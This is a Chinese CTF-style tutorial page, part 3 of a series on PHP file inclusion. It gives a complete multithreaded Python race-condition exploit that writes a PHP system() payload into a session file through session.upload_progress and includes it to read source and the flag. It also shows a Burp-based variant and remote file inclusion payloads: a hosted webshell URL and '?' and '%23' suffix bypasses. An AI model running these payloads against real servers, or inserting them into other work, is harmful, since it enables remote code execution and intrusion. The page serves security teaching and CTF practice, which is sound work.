主页 > 网络知识 > 从浅入深学习PHP文件包含(3)

从浅入深学习PHP文件包含(3)

即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但还有一个问题没有解决,即使是写进去了默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用。

# -*- coding: utf-8 -*- import requests import io import threading url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/' sessID = 'Sn0w' def write(session): #判断event的标志是否为True while event.isSet(): #上传文件要大一点,更有利于条件竞争 f = io.BytesIO(b'Sn0w' * 1024 * 50) reponse = session.post( url, cookies={'PHPSESSID': sessID}, data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'}, files={'file':('text.txt',f)} ) def read(session): while event.isSet(): reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID)) if 'text' in reponse.text: print(reponse.text) #将event的标志设置为False,调用wait方法的所有线程将被阻塞; event.clear() else: print('[*]continued') if __name__ == '__main__': #通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False event = threading.Event() #将event的标志设置为True,调用wait方法的所有线程将被唤醒; event.set() #会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据 with requests.session() as session: for i in range(1,30): threading.Thread(target=write, args=(session,)).start() for i in range(1,30): threading.Thread(target=read, args=(session,)).start()

上传的有关信息

 

从浅入深学习PHP文件包含

 

自己设置的键值因为是php所以解析掉了

 

从浅入深学习PHP文件包含

 

这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如上面官方给的html上传代码上传一个文件

<!DOCTYPE html> <html> <body> <form action="http://5303095a-4023-42e2-b099-30486f1b3323.chall.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" value="123456" /> <input type="file" /> <input type="submit" value="submit" /> </form> </body> </html>

 

从浅入深学习PHP文件包含

 

再根据代码抓一个get的包,请求/tmp/sess_flag

 

从浅入深学习PHP文件包含

 

同时进行爆破,payload设置成null payloads就可以一直爆破

 

从浅入深学习PHP文件包含

 

远程文件包含

利用前提:
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件

0x00:无任何限制

代码没有任何限制,直接在公网上存放恶意webshell即可,然后通过包含即可执行恶意payload

?filename=http://xxxx/php.txt

0x01:限制包含文件的后缀名

例如:

<?php include($_GET['filename'] . ".no"); ?>

第一种方法:?绕过

?filename=http://xxxx/php.txt?

第二种方法:#绕过

?filename=http://xxxx/php.txt%23 PHP伪协议

简单理解便是PHP自己提供的一套协议,可以适用于自己的语言,其他语言则不适用,这便是伪协议,与之相对的例如HTTPHTTPS便不是伪协议,因为大部分系统软件都能够进行识别。

常见的伪协议

 

从浅入深学习PHP文件包含

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!